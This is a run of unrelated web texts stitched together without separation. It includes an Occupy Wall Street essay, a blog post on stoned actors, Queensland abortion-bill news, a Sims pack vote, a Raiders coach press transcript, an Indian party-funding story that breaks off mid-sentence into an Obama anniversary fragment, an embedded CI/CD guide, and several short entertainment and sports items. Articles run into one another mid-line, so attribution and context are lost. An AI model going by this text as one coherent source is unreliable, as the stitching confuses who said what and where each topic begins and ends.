I was able to leave once I decided that my happiness was more valuable than money. This is no great revelation to anyone at Occupy, but to someone who lived and breathed the idea that money was everything for seven years, it was not so easy. The true key to getting out was taking off my blinders: meeting others who were outside Wall Street’s bubble. This was a long process that involved a lot of psyching myself up in order to quit. Wall Street is not an easy place to walk away from. But after a year of planning, I finally submitted my resignation. I now teach computer programming at several venues, including Girl Develop It, which is a group that provides low-cost classes to women (men are welcome, too) in an environment that strives to be non-intimidating.
It is hard to contrast the joy of community I feel at Occupy Wall Street with the isolation I felt on Wall Street. It’s hard because I cannot think of two more disparate cultures. Wall Street believes in, and practices, a culture of scarcity. This breeds hoarding, distrust, and competition. As near as I can tell, Occupy Wall Street believes in plenty. This breeds sharing, trust, and cooperation. On Wall Street, everyone was my competitor. They’d help me only if it helped them. At Occupy Wall Street, I am offered food, warmth, and support, because it’s the right thing to do, and because joy breeds joy.
I was privileged enough to make it in the door on Wall Street, and to get bonuses during my time there. But I never felt as fortunate, or joyful, as I did the night after the eviction of Occupy Wall Street from Liberty Square, when we had our first post-raid General Assembly. When the thousands of supporters who filled the park necessitated three waves of the people’s mic. When our voices together echoed not just down the park, but up into the sky as the buildings caused the sound to ricochet off their glass walls.
And so I say to my friends who still dwell behind the Wall: come join us. The spoils of money can never match the joys of community. When you’re ready, we’ll be here.
If you like this article, please subscribe to n+1.We love actors who blaze. We can't help it, we just do. We love actors who play stoners and drug dealers, but nothing beats actors who actually love the reefer. I think it's because we now know they are part of a select niche of society: the stoners.
It's a really beautiful thing when you see someone in a new light. For many of us, it's the first time our favorite actors become "human" in our eyes. In this recently found interview of Jason Segel and Paul Rudd promoting "I Love You Man," many fans gained a new love for the two actors, realizing they were completely baked.
There's something about the idea of our favorite Hollywood actors getting high that really makes us love them. I think it's just imagining the two of them toking up a joint while in London, before yet another interview, and just enjoying the ride.
If you've ever been stoned or been around anyone who's ever been stoned, then this scene shouldn't seem too unfamiliar. All the signs are there, the uncontrollable ranting, the squinting eyes, and the random spouts of giggling. It really is just two friends, high as kites, having an awesome conversation.
H/T: The Chive, Top Photo Courtesy Of: YouTubeA private member's bill to legalise abortion in Queensland has been introduced in State Parliament by independent MP Rob Pyne.
Key points: Abortion should not be a crime, Rob Pyne says
Some Labor MPs expected to support bill
LNP to debate position in partyroom
It has been prohibited since 1899, but permissible if there is serious danger to the mother's life or her physical or mental health.
Mr Pyne told a pro-choice rally of about 200 people outside Parliament the legislation would not be the final version of what would be voted on.
In its current state, the bill does not set a time at which abortion would be legal to carry out, and Mr Pyne said he would compromise with MPs on when the cut-off should be.
"What I'm saying is a majority of MPs can surely see the current laws are not acceptable, and hopefully we can at some compromise that will be acceptable at second reading stage," the former Labor MP said.
"It's not 1899, abortion should not be a crime. The world is changing very quickly and unfortunately our politicians aren't.
"I have not made any suggestion in relation to gestation periods — whether it be 24 weeks, 20 weeks or whatever — because my main concern is that this Parliament get together and pass law reform in this area, so we need something that a majority of MPs can support."
Both Labor and the LNP will allow a conscience vote on decriminalising abortion in Queensland if it comes to a vote.
Deputy Premier Jackie Trad was one of 10 Labor MPs at the rally. She said the party's MPs were divided on the issue, but would get a conscience vote.
"I am unashamedly pro-choice," she said.
"What a woman decides to do with her body, in consultation with her doctor, does not belong in the criminal code.
"I fully respect that my caucus colleagues in the Labor Party will have different views to me."
In a statement, Opposition Leader Tim Nicholls said the LNP's policy was that current laws should remain, but his members would get a free vote.
Mr Pyne said he had the support of fellow crossbench MP Billy Gordon, while Shane Knuth and Rob Katter were yet to make their views clear.
The bill will go to a parliamentary committee for consideration before being presented to Parliament for debate.
Queensland abortion laws 'draconian'
Queensland Council of Civil Liberties said the state's current abortion laws were "antiquated and draconian".
President Michael Cope said they want the Victorian system, which requires approval by two medical practitioners for abortions over 24 weeks.
"It's time we had this discussion and it's time we brought some certainty to women's right to choose in this state," he said.
In New South Wales, an abortion is only lawful if a woman's doctor believes on reasonable grounds it is necessary to avoid a serious danger to her life or her physical or mental health, taking into account economic, social and medical factors.
The ACT, Victoria and Tasmania have all decriminalised abortion, making it legal up to nine months' gestation.
However, late-term abortions in Tasmania, defined as past four months, and Victoria, where late-term is classed beyond six months, require approval from two medical practitioners.
Pre-teens seek abortions in private hospitals
Queensland counselling service Children by Choice said about two children under 14 were seeking advice about an abortion every month.
Last month a 12-year-old Rockhampton girl was forced to go to the Supreme Court to get permission to have one done.
Counsellor Liz Price said most of the abortions were happening in private hospitals as current laws made it too difficult to use the public system.
"We see access significantly compounded for under 14-year-olds," she said.
"There are only two private clinics in all of Queensland that have a licence that allows them to perform procedures of that nature on an under 14-year-old one in the far north of Queensland and one down here in south-east Queensland."
Emily's List supports progressive female Labor candidates trying to reach Parliament.
"We certainly have a few members of the State Government and they will be supporting the woman's right to choose," Lisa Carey from the group said.Laundry Off the Grid Food Preserves Carbon Conscious
Hello Simmers! Let's get right to it...is the winning group of gameplay features that we'll create for this upcoming Stuff Pack, after capturing the most votes from this community! In fact, when we examined the outcome across the different regions that voted, the results wereentirely aligned. Nearly everyone voted for the options in the following order...The only exception to this result came from players in Russia, where Food Preserves swapped places with Off the Grid by a slim margin.With these results in hand, we have a clear path forward for this pack. In the coming weeks our Stuff Pack designer will get to work writing full designs for Washers, Dryers, Clotheslines, Wash Tubs, and Hampers. I'm looking forward to sharing those full designs with you, so that we can collaborate on the little details which are so important to creating a fun - and full - Sims experience.You also have two more votes to look forward to, now with concrete dates on when they will occur. The Pack Icon Vote will start on September 6th, followed by the Pack Title Vote starting September 13th, where we will select the final name for this Stuff Pack.In the meantime, watch for more in-depth looks into game development right here on this forum. In the coming weeks I'll be sharing more art, showing off the hairstyles that will come with this pack, discussing the process we follow internally to get from the initial brainstorm to the feature groups you voted on, and more!Note: Some questions were “best guess” edited because they were difficult to hear. Some repeat questions were not transcribed.
Raiders coach Jack Del Rio talked to reporters Tuesday at the NFL owners meetings for nearly an hour. Part II from a transcription from audio recorded by the NFL:
Q: Gotten younger at corner, confident, DJ, TJ, Keith McGill ready for that kind of responsibility?
Del Rio: I think, as a staff coming in and evaluating, we felt like that was one of the more talented positions that needed to develop. Certainly staying healthy will be important for DJ. Carrie played well in his role. We feel like that group has a chance to develop beyond where they are. There are really four pretty solid young guys right there that we look forward to working with and helping them play at a higher level.
Q: Inaudible... (Carr-related question)
Del Rio: I’d hate to throw out any comparisons of guys. Sometimes that can lead to different kinds of pressures I’d rather not have. To me, I’d just want him to be as good as he can be every day. He has a real short, quick release. There have been successful quarterbacks that have been able to do that. I think being able to get the ball out from smaller windows, being able to get the ball out quickly, that’s a good quality to have.
Q: Emphasize getting ball downfield more?
Del Rio: We’ll take our shots. I think he has, even last year preparing against him, I think he’s really a good deep ball thrower. They didn’t have a lot of guys that would necessarily scare you in terms of getting deep, but I thought he was a really good deep ball thrower.
Q: What leads you to believe a team that has not been over.500 for the last 12 years, biggest drought in NFL, what leads you to believe you can turn this franchise around?
Del Rio: I guess faith. I have faith that we understand what it looks like, what it takes, to come in, share a vision with our players. We’ll practice with great energy every day. We’ve assembled a strong staff. That’s where it starts. We’re acquiring talent. Look, every good coach has good players, you’ve got to have good players. We need to continue to add good players, and then build a team that’s willing to sacrifice and play together and understand what it looks like to be accountable to each other. Play fast and play hard. Kind of some old-school basic fundamentals that we’re going to stress that are proven and that I believe in. I believe every program I’ve ever been a part of, there’s a mindset you have to establish, and I feel like it starts with the top and permeates through the whole organization. We’re going to pay attention to details. We’ve begun that process. We’re two months in to this process and feel like we’ve accomplished quite a bit in the first two months and we’re just going to keep kind of plodding away methodically, chipping away, at what we know needs to be done.
Q: Raider Nation, everywhere, every state, do you feel that from around the country feel the history of the Raiders..
Del Rio: You feel it. You definitely feel it. You certainly feel it locally, but you feel it like you’re saying wherever you go. It travels. It travels well. I’m not a huge social media person, but my kids are, and they tell me about how tremendous the support is and how tremendous the reach is in the Raider Nation. It’s pretty amazing. It’s good stuff.
Q: Inaudible...(differences from first time as HC in Jacksonviille)
Del Rio: A little wiser. A little older, a little wiser. I think you learn from the experiences that you go through. Some good, some positive, some not so good. The ones that you want to be better at. Just the experience at having done the job before. Juts the hiring process, OK, I think impacts everything you’re doing. The first time through I just really felt like I had to rush. Like I’d get a cookie at the end if I did it all real quick. There’s no rush. Take your time, get the right people, discern, take your time, be sure the guys that you’re adding exemplify what you’re looking for, the environment you want to create. I feel like we were able to assemble good teachers. A lot of guys are former players that are grinders, you know, which is not always a combination that you find. Guys that are hard-working, professional guys that happen to have played. So I’m excited about that coming together as well as it did and I think that the experience that I had, having done it before, really helped. That’s just one example. I think, as you go through it, putting together camp, and minicamp and all that, I’ve done it before. I understand what it needs to look like. What makes sense. What works. The way we travel. Everything we do. Every facet of the organization, I’ve had experience in now, at a professional level, leading a team, the dos and don’ts. I think that’s invaluable. Referees, how we’re going to interact with them, the more I’ve been through that thing. That experience, it means a lot. And until you’re in this chair, you think you have an understanding what it’s going to be like as an assistant coach, but until you actually get the reins and you’re in that chair, you really don’t know.
Q: Roy Helu....
Del Rio: Roy’s a good, solid backup running back. He played a third-down role in Washinigton for them and on special teams. WE see him coming in and competing in that role and if he creates a bigger role than that, good for him. But we know that we’re getting a young man that is capable of that. He did grow up in the area. He’s excited to be back in the area, he’s excited to have the silver and black on, and we’re excited to have him.
Q: What are Redskins getting with Terrance Knighton?
Del Rio: Terrance is a great young man. He can become a leader in their locker room. Big, strong, on his feet, able to move down the line. I think Terrance is a good football player.
Q: What did you take away from your time with John Fox?
Del Rio: Foxie? Foxie’s a really good people person. Being able to go back after nine years as a head coach then being able to spend three years with John, able to kind of rejuvenate, to get with a guy that’s been a winner in this league and understands some of the things he does and why they’re effective. It was a good experience for me. Obviously John and I have been friends for a long time, but it’s the professional part that I appreciate the most because of the environment he creates for his staff members, the environment he creates for the players every day. I think that’s important. I believe in that as well, to create a positive environment, so when your players come to work every day, they’re not dreading it. They don’t pull in the parking lot with a pit in their stomach, like `oh, I’ve got to go in today.’ They jump out of their car and they’re excited to get into the building. John seeks to create that type of environment and I do as well. I believe in that
Q: One takeaway from Fox...
Del Rio: One takeaway... that’s basically how i see it. A valuable time, and obviously stepping in for him as the interim head coach when he was having the procedure done and healing, and spend those four weeks back on the job, and the way I approached that was, `What would I want a guy doing this for me to be like?’ And I tried to be that guy. I actually called Bruce Arians and asked Bruce about it, `What did you do for Chuck?’ and how did that go. I wanted to apply myself in a manner that you’ve got a job to do but you want to be respectful of the guy, that’s his chair that you’re in. We did things accordingly. The same way, if anybody were to be filling in for me I would hope they would do it the same way.
Q: The time Fox was away, any sense for how that all impacted him?
Del Rio: Any time you have your ribs cracked and your chest split open and they’re working on your heart, that’s pretty significant. I was actually shocked at how quickly he fought his way back. It just shows how much he loves the game, wants to be around the game, wants to be part of the game. I was really shocked more by that. He came back after four and he was trying to make less than that, he was fighting the doctors on it. That’s kind of who he is.
Q: Did his perspective change at all?
Del Rio: I don’t think so. He was a little weaker, he’d lost some weight, but the way he described it, he had all new plumbing, the plumbing was better than ever, the circulation was improved and he felt better. In terms of the staff, we continued to do the things we were doing. It wasn’t a negative.
Q: Free agents talking about energy in the building, creating working environment, is that the first building block to a new culture...
Del Rio: Absolutely. Everything we do. I took time building a staff because I wanted guys that had positive energy, guys that are teachers, guys that believe they can bring out the best in players. We’ve assembled a group, of, our staff is built that way. We believe we can believe we can help guys play at a high level, maybe at a higher level than they ever have. We want to create that positive energy where we know we can, we’re all together, we’re on board, and we can make things happen. That’s been Day 1 and that starts with me, bringing that energy, and Kenny Norton, and Bill, all of us bringing that energy every day.
Q: How long in Denver did it take to get that itch to be head coach again?
Del Rio: It doesn’t take long. It didn’t take long. But I feel like the time was valuable for me to step back, take notes, and be a part of a real successful environment and re-enforce some of the things that I know, that I believe in. They are principles that will help you play at the highest level, and so it’s just kind of an affirmation of that.
Q: What do you like about Latavius Murray...
Del Rio: He’ll get an opportunity to compete for that. He’s got size and speed. He got a couple plays last year that were spectacular and would like to create ways to have more of them.
Q: characterize how important it is to have stability at quarterback...
Del Rio: I would say the importance of that position is I think one where if you don’t have a healthy respect for it, you’ll get one soon. You’ve got to have a trigger man. Having good production from that position is kind of like the engine, it makes it all go. And so my belief is, you have to be strong around him as well. You can’t ask the guy, you can’t put a great engine into a bad car, tires don’t work, no brakes, it all goes together. Part of what I look at when I look at Derek and our quarterback situation, we have a young, talented guy, that has a bright future. And the best way to help support that is not just to get a receiver, everyone is clamoring to get a receiver, it’s deeper than that. It’s have the line be solid, and we get a Hudson, I feel that really solidified us. It’s make sure the things that we’re doing on defense and special teams are playing complementary football. We’re getting him the ball in good field position to do things. It’s being able to run the ball so he doesn’t have to drop back and throw it and it’s on his shoulders the whole day. The design of what we’re doing and how we’re utilizing the things he’s good at, is all part of it. I think it all adds up. It’s a team game, we’re playing football, it just happens to be the most important position on the football team, and we’re fortunate that we have a good young player in that position. That was one of the things that was very attractive about me wanting to be in Oakland. Not only was it a place that I’m from and all those things, but a good, young quarterback to work with.
Q: Your interior defensive line with Ellis, Dan Williams... touigh run up the middle...
Del Rio: We’ll see, again, those kinds of things are being worked out. But there’s no reason they can’t be on the field at the same time.
Q: Encouraged having guys like that run stuffers...
Del Rio: Yeah, absolutely, you’ve got to have big, strong men. It starts in the trenches in this game. As much as we want to talk about the beauty of a ball being thrown and caught on the outside, you’ve got to be able to be strong in the trenches. That remains a central part of what we do in this league.
Q: Any relationship or encounters with Al Davis?
Del Rio: Nothing more than just respect paid to him at these owner’s meetings, I’d be able to say, `Hey, Mr. Davis, great to see you.’ He knew I was a longtime Raider fan and I would articulate that to him and pay my respects. Nothing more than that.
Q: As former player, longtime coach, how about the game in terms of safety, how it’s changed...
Del Rio: The game has changed in some respects and really stayed the same in many others. I think from a safety standpoint we’ve taken huge steps as a league to help take the head out of tackling, the targeting, making sure that we lower the strike zone. That we teach it, that we understand it. I think the players and the awareness they have is improved. I mean, look, I learned as a player to appreciate, we would basically go two and then one and then two in camp so we’d never go twice a day in double days in full pads. So that’s kind of become a norm now for the league. Denny Green brought that in in Minnesota when I was playing for him. I think he got it from Bill Walsh. Some of these principles, teams were doing. I think the idea was to arrive at the season as fresh as possible. Some of those things have been taking place. Certainly we’re at a point now where it’s less taxing on a player and his body to go through a season now than it was when we played years ago.
Q: Borland’s decision... is a certain amount of the dangers overstated?
Del Rio: I don’t want to do anything to cause a situation to be inflamed or anything like that. I think you have to respect each person’s decision. It’s unfortunate. I had 11 great years as a player and I”ve been coaching for 19. Thirty years as being a part of this league has been a tremendous blessing in my life and for me and my family. I’m very appreciative of that time and I wouldn’t trade it. But if somebody else feels differently, good for them.
Q: Heard it said your principles is keeping it simple, playing fast, not overload guys with too much information, is that accurate, how would you describe your appraoch?
Del Rio: We want to know what we’re doing first. We don’t want the quarterback to ever be too comfortable, either. It’s always making sure that nobody can run the ball on you and the quarterback isn’t comfortable. You don’t allow plays to go over the top on you. Those are basic principles. I think if you’re going to play good defense, it always starts with tackling. If you can’t tackle, how do you stop anybody. You have to be able to leverage and tackle. It’s a mentality that you have to develop with your defense, everybody hunting the ball and leveraging the tackles. Those are things we’re going to do. In terms of structure, the number of blitzes or not blitzes, those types of things, I think that’s probably overdone. I think people want to focus there, where in reality if you’re shedding blocks, tackling and not letting the ball get over the top you it’s going to be hard for an offense to move the ball. At the end of the day, what are we after? If you want to be one of the teams that is at the top you’re going to know how to play fundamentally sound. When you play really good football teams, you’re not going to trick a lot of of ’em. You’re going to have to beat a block and make a tackle. We’re going to spend more time focusing on those simple things. I think maybe Kenny’s referring to that in terms of us focusing on the basics, on the simpler things of playing great defense, the understanding of what it looks like tackle, what it looks like to leverage, what it looks like to get off a block and those are things we’re going to spend a lot of time on.
Q: Curtis Lofton...
Del Rio: Having a chance to get a guy who’s played at a high level. He’s been an experienced middle linebacker, he’s played a large number of snaps in the league. So he brings some of that experience and playmaking ability, and a guy that can come in with that veteran presence and understand what we needed to get done.
Q: How much did you need that presence, an MLB who immediately becomes that leader...
Del Rio: We felt like it was an opportunity, there was a good match there. It was a nice opportunity for us to improve and I feel like we did.
Q: What do you like the most about this draft class?
Del Rio: What do I like most about it? I like that we get an opportunity to get some of these players and add them to our team. It’s deeper in some areas than others. Certainly it’s an opportunity this time of year to add some young players to your roster. When you go through free agency like we do you’re able to fill some definite holes and go for need right there. Then when you get in the draft you’d like to get value. You’d like to get some of the better players that are coming out of the draft.
Q: Starting to determine what position you’ll go with?
Del Rio: We’re getting to the point where we’ll come together and start poring through all the information, sharing that information and going through it. We’re not there yet.
Q: What will it take for Derek to take the next step at QB?
Del Rio: A lot of things. Obviously, I think it’s not just about him, it’s about what we do around him. We’ve got to be able to run the ball. Got to be able to play great defense. I think when we’re doing that, we’re putting less on him, and I think that’s a good things. In terms of what he can do himself, he’s a young player, he’s got a lot of growth ahead of him. Him and Khalil Mack, two examples of guys coming off their rookie campaign, great start to their careers. They have a long road ahead of them. A lot of work to do. A lot of improvement should be expected and we’re going to expect a lot out of them I think for both those guys, hey, great start to your career, really happy that you had that start. Now let’s look at how much we have to do. There’s a boatload of work to do, let’s get started at that. Let’s not spend too much time patting ourselves on the back for having a great start to our career. Let’s continue to be great teammates and work hard every day and grow.
Q: First couple of months on the job...
Del Rio: It’s been good. Lot of good things going on. Basically we’re two months into the job and in those two months we’ve been able to accomplish quite a bit and looking forward to getting back when we’re done with these meetings and continuing.
Q: Doesn’t look like you have a lot of bodies at D-end, although Mack can play down there, needs to add numbers...
Del Rio: I don’t see that, I don’t know what your depth chart looks like. I’ve got one that looks OK. But we’re going to strengthen it there. We’re going to add some players there at defensive end and wide receiver spots, two spots we know we’re going to need to address in the draft.
Q: Quarterback position...
Del Rio: I think that position, it’s up to the individual. There’s so much that goes into it. It’s such an important position. The quarterback and the head coach are the two guys that answer to the media and they’re the two guys who answer to a won-loss record. Not everybody can handle that platform. I think it’s important that the guy you have in that position can, and I think that’s something obviously I think we’re all looking for.
Q: TEams moving up Mariotta?
Del Rio: We’ll be prepared for different scenarios that may unfold. At this point right now we’re sitting at the four spot. We’ve got to make sure we understand how we like them. Whether it would be moving up or down from there we would talk about that as we prepare for the draft. It’s a little early for that.
Q: How do you weigh taking one prospect at four as opposed to getting more if you trade back?
Del Rio: It just depends on who we end up taking at four. If we take Jonathan Ogden and he plays for the next 12 years at a Hall of Fame level, then you’re pretty happy you stayed at four. If you moved down and were able to get four Jonathan Ogdens it would be a rarity but maybe it happens. It just depends on how it ends up playing out. There’s certainly an opportunity for each team to kind of measure up how they see the draft, what makes sense to them and whether or not there’s a trade partner that makes sense for both teams. That’s part of the process that we’ll begin to go through as we begin looking at scenarios and how we value the board, whether we would be willing to go up, whether we’d be willing to go back, or whether we’ll just stay and take the best player because we’re locked in on a guy. All those things are kind of looked at and talked about.
Q: Calls on that...
Del Rio: No, it’s really very early in the process right now...
Q: Draft one Jack Del Rio or four Reggie Mckenzies...
Del Rio: Gotta go with me.How Congress And BJP Annulled High Court Judgment That Aimed To Wipe Their Existence - The Story They Want To Bury
Dheeraj DeeKay Blocked Unblock Follow Following Apr 26, 2017
Let me tell you an important story which for all reasons will be retold for years to come as our democracy transforms in coming decades.
Way back in March 2014, 10 days before the general elections, the Delhi High Court found both BJP and Indian National Congress guilty of accepting foreign funds. The court ruled that these parties were violating the FCRA and were slated to be disqualified because both of them had taken donations from Vedanta and its subsidiaries — which are foreign entities — between 2004 and 2012.
— via Newslaundry.com
I know how you are feeling. This was just before the biggest elections that voted in Narendra Modi as Prime Minister of the Republic of India. Imagine those elections without BJP and Congress; just imagine.
If this is indeed true (which it is), how come both parties fought the elections? That’s the interesting bit to know how political parties fight their battles and unite with ‘rivals’ when need be but we will come to that little later. Here is little back story:
The whole story begins with Association for Democratic Reforms (ADR) represented by lawyer Prashant Bhushan filing PIL in Delhi High Court alleging political parties including the BJP and the Congress of violation of the Foreign Contribution (Regulation) Act of 1976 (FCRA). This act forbids election candidates, as well as journalists, judges, members of any Legislature, and political parties or its office-bearers from accepting a “foreign contribution”. It is fairly clear how if not to this act then the functioning of parliament, media and rest can be influenced by foreign forces to their advantage. This act is the barrier between free and fair functioning of our republic against outside influence and intentions.
Sterlite Industries India Ltd and Sesa Goa Ltd, companies registered in India under the Companies Act but whose more than 50 percent of issued share capital is held by Vedanta resources, a company which is registered in England and Wales, had made donations to political parties during the period upto 2009 and this were illegal, ADR alleged. What is so special about ‘upto 2009’? Well, on September 26, 2010 new law was enacted as Foreign Contribution Regulation Act (FCRA), 2010 which repealed the old 1976 act. That’s why ADR stood with balance sheets upto 2009. What did the Delhi HC said?
The High Court concluded that Vedanta is unquestionably a foreign company by virtue of the fact that it is incorporated outside India, that is, in the U.K., and has established its place of business in India and operates through its subsidiary companies like Sterlite and Sesa.
Therefore, it held that prima-facie, the acts of the BJP and the Congress, clearly fell foul of the ban imposed under the 1976 Act, as the donations accepted by them |
4, 2017) marked the nine-year anniversary of the 2008 presidential election in which Barack Obama was elected the 44th President of the United States — and the country's first black president. The historic victory culminated with his iconic "Yes We Can" speech, which was delivered at Grant Park in Chicago. "Tonight," Obama said at the time, "because of what we did on this date, in this election, at this defining moment — change has come to America."
Many people are now looking back to that moment and sharing their nostalgia for that night in 2008, especially in light of the United States's current presidential administration. "Nine years ago today Barack Obama was elected President," one person tweeted, adding: "And he remains MY president." Another Twitter user made a joke about Daylight Saving's Time, writing: "It's very sad we were unable to fall back nine years, instead of one hour. I MISS PRESIDENT OBAMA!" Ahead, check out some of the ways people are celebrating the nine-year anniversary of Obama's historic win, while wishing they had a time machine to relive it all over again.
Related: If You Have Jury Duty in Chicago, You Might See Barack Obama
Check This Out:How to Build a Continuous Integration and Delivery Process for Embedded Software
Yaniv Nissenboim Blocked Unblock Follow Following Oct 1, 2017
Researches of SW R&D teams show significant improvements in all R&D and operation metrics when proper continuous integration and delivery processes were implemented (take a look at this case study). We thought it would be highly beneficial to demonstrate how to apply these practices to embedded SW teams. Applying continuous integration and delivery for embedded SW development is not an easy task as you have a physical device with many constraints when it comes to rapid testing. However, the gained benefits outweigh the effort. For more info about CI advantages and considerations when it comes to embedded SW check out this post.
In this post, I’ll outline a guideline for building such a process for embedded SW development. Note that this post is relevant even if your company privacy policy implies restrictions on using cloud services for source control and other CI/CD tools. This post will be focused on the IT infrastructure and tools you need in order to implement CI/CD process in your organization.
CI/CD Flow overview
The basic CI/CD flow for embedded SW development will be one of this kind
Let’s dig down further and discuss the details of our suggested flow:
We chose to work with the Git Flow proposed by Vincent Driessen. In a future post we’ll dig down further and discuss how to implement Git Flow for embedded SW.
Update: here’s the Git Flow post link.
To enable this, we propose the following IT infrastructure.
IT Infrastructure for CI/CD flow
When building a CI/CD IT infrastructure for embedded SW we decided to use more flexible tools that can work on-premise and as hosted cloud services (there are companies that have strict privacy and security policies which prevent them from using hosted cloud solutions). Additionally, toolchains such as IAR that have a node lock license or tools like Segger (check out how you can use Segger for test automation), and when doing on target tests, you must have an on-prem server to serve as your test harness. All of these components run on VMs (either windows or Linux ones). We decided to use different VMs for different types of test for modularity and support for future infrastructure updates.
CI/CD Master Server
We decided to use Jenkins as our CI/CD manager. Jenkins can run on-prem and on the cloud, on Windows/Linux machined, supports HiL tests and everything you need for embedded SW development. We are also very familiar with it, so it was a straightforward choice for us to make.
Source Control Server
We decided to use GitLab as it supports both on-prem and hosted cloud service. GitLab has a very friendly user interface and reliable plugin to Jenkins. In an on-prem scenario, we also connected the VM to a central backup service. If you don’t have an on-prem constraint, GitHub is probably the way to go.
CI Build Server
Our build server will also perform static analysis tests. For a build server, we used one of the two options:
IAR build server — an on-prem Windows VM with Node lock license. Note that static analysis tools require a more expensive IAR license. GCC ARM build server — can be on-prem or cloud-based Linux VM (or even Docker-based).
Non-Host Testing Server
A Linux based VM, where you can run all non-target tests — unit tests and module testing with mocking. Our favorite tools for unit tests for embedded C are the tools provided by ThrowTheSwich.org — Unity, CMock, and Ceedling.
Simulated Testing Server
A Linux based VM, where you can run your binaries on a simulator of your devices and your entire system. There are few options for that like Synopsys’ VDK, WindRiver’s Simics, QEMU, Mentor’s Vista, etc. We recommend our own solution — Jumper’s Virtual Lab (we’ll have a different post covering this as well). A proper simulation/emulation environment should allow you to run-
Unit tests Simulating sensors and peripherals I/Os Smoke tests — device and cluster of devices Black box (end to end) tests System level tests — load/stress, performance, security, etc. tests Cluster (scalability) testing with communication simulation Acceptance tests Performance tests
Target HW Testing Server
A Linux/Windows VM (the physical server should be located in the physical lab), where you can run tests on the target HW. This server will act as the testing harness or will be connected to an external HW testing harness. This server will control lab testing equipment such as scope, network analyzer, voltmeter, logic, packet generator, Segger tools, etc. We haven’t chosen specific testing framework here, as it depends on the specific device and system setup. On the target device and physical lab you should run -
Smoke tests Black box tests System level tests HW validation and timing related tests Cluster testing with communication testing (note that the scalability here is limited) Certification tests Acceptance tests
Streamline Your CI/CD Flow and Automated Testing
The fundamental requirement for CI/CD flow is to have a fast feedback loop from code commit through integration to test results. The way to get there is through automating your process and mainly having automated tests. At Jumper, we’ve built a Virtual Lab platform to streamline CI/CD and automated testing. Jumper’s Virtual Lab allows R&D and QA teams to have a virtual production clone that runs the same physical device’s software executables with complete environment and communication simulation.0
On the heels of yesterday’s news that Paramount Pictures would be delaying their Rings sequel from this year until next, the studio has also pushed back on another major horror franchise installment. Friday the 13th, the upcoming reboot of the classic series that began in 1980 and has spanned 12 films so far, will move from one Friday the 13th to another, according to Paramount. The slasher film will now open on October 13, 2017 instead of the previously announced January 13, 2017.
Despite the relative success the horror franchise has seen from its beginning in 1980 to its latest installment/reboot back in 2009, Jason Voorhees hasn’t had a single soul to violently put to rest in the years since. There was a possible TV series set up at The CW, but that tanked; the current movie tentatively has Breck Eisner (The Crazies) in the director’s chair, but we’ve yet to see any official confirmation to that effect. The most successful iteration in recent years has been the dual-crowdfunded “Friday the 13th” video game, which is still awaiting its release.
Do you want to see another Friday the 13th? Is Jason Voorhees still scary in this modern era of found-footage horror films and franchises that favor paranormal activity over monstrous, immortal serial killers? Let us know in the comments below!
The release date news comes courtesy of @ERCboxoffice:
Ch-ch-ch-ch-bwahahahaha. FRIDAY THE 13TH reboot has been pushed another 9 months–now set to slash on 10/13/17 instead of 1/13/17. — Exhibitor Relations (@ERCboxoffice) September 23, 2016
For more of our coverage on all things Friday the 13th, be sure to check out some of our recent write-ups provided at the following links:WD is at it again with a new device; this time, the company is squarely aiming at Roku with a simplified user interface and a lower price point. But is the WD TV Play a good buy for cord cutters? Check out our review below:
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Show notes for this episode:
The WD TV Play is available on the WD website for $69.99. There’s no word on when the device is going to reach stores yet.
The device comes with a different UI than existing WD players, and supports slightly fewer codecs – MPEG-2 and DTS aren’t supported.
One other notable difference: The WD TV Live and the WD TV Hub pull in metadata for local content, the WD TV Play doesn’t.
Check out our e-book Cut the Cord: All You Need to Know to Drop Cable to learn more about various devices that help you to get rid of cable. The book is available for $5 on Amazon(s amzn), Barnes & Noble(s bks) and iTunes(s aapl).
How important is the availability of a YouTube app for your device choice? How about local content? And what about that remote? Tell us what you’re looking for in the comments, get in touch with us on Twitter (@cordcutters) or email us at cordcutters @ gigaom.com. Also, please check out our new Google+ Cord Cutters community!KANSAS CITY, Mo. -- Observed and heard in the Seattle Seahawks' locker room after their 24-20 loss to the Kansas City Chiefs:
Wide receiver Doug Baldwin on the fourth-down throw in the end zone: “I was pushed. It was obvious. As far as I know, when the ball is in the air I’m not supposed to be touched by the defender. Period. That’s the rule.”
Offensive tackle Russell Okung on losing center Max Unger to a leg injury in the fourth quarter: “Max is a very integral part on our team. We’re going to miss him. I don’t know the extent of it, but we’ll move forward.”
Tight end Tony Moeaki on his TD catch against his former teammates: “It was nice, but it would have been a lot sweeter had we come away with the victory. My time [in Kansas City] was great. The fans are awesome, but we had a chance to win and didn’t take advantage of it.”The 65 year-old chef said younger chefs and kitchen staff should not tolerate abusive behaviour by their bosses.
"You should go to the police, because that is threatening you and that is illegal and that is wrong,” she said.
During a podcast interview with Telegraph Wonder Women, the American-born chef said machismo and bullying is still common in some top London restaurants.
“I had a female chef who told me she was taking some ramekins out of a very well-known London restaurant. She told me the head chef stood over her with a frying pan, and he said, ‘if those are not set properly, this frying pan will be on her head’. I said, ‘what you should have done was put them back in the oven, got up, walked out and gone to the police.’"
The American-born owner of one of the most successful restaurants in Britain added that aggressive machismo in the kitchen was "old-fashioned" and should be called out.
“Where there’s no shouting or bullying, that’s how you get the best out of people," she says. "It’s an old-fashioned idea – the chef with a big hat, who made you feel bad if your sauce curdled, or inferior if you couldn’t make something for the first time. That’s not what we wanted to do.
“All the fear that had been put into us [in the early days of The River Café] about the working culture of restaurants – macho – was kind of old-fashioned.”
Working as a chef among top restaurants in Britain is still a male-dominated profession. Popular TV shows like MasterChef – which comes to a finale on Friday night – demonstrate how'macho' cooking in a high-restaurant can still be. As fellow Telegraph writer Michael Hogan explains, "no show on television holds a mirror up to modern manhood quite like MasterChef".
Rogers says: "Traditionally chefs were men – they had to lift heavy saucepans, had to get in early, had to be tough – that might have excluded women at that point – but I would say, if you look at the top law firms, or top hospitals, or world banks, you’ll find they’re ruled by men. We’re getting there but in every profession, there’s still a lot of work to do and I include chefs in that.”
She added: "[Machismo] does exist. But there are new restaurants, there are so many places where people can work now, I hope people won't take that as something they have to accept."
The River Cafe employs 50/50 women and men to stamp out inequality and encourage a healthy working environment. Read the full interview here.
Subscribe to the Face Your Fears podcast on iTunes
Ruth Rogers has been interviewed as part of the new Face Your Fears podcast series at Telegraph Wonder Women.
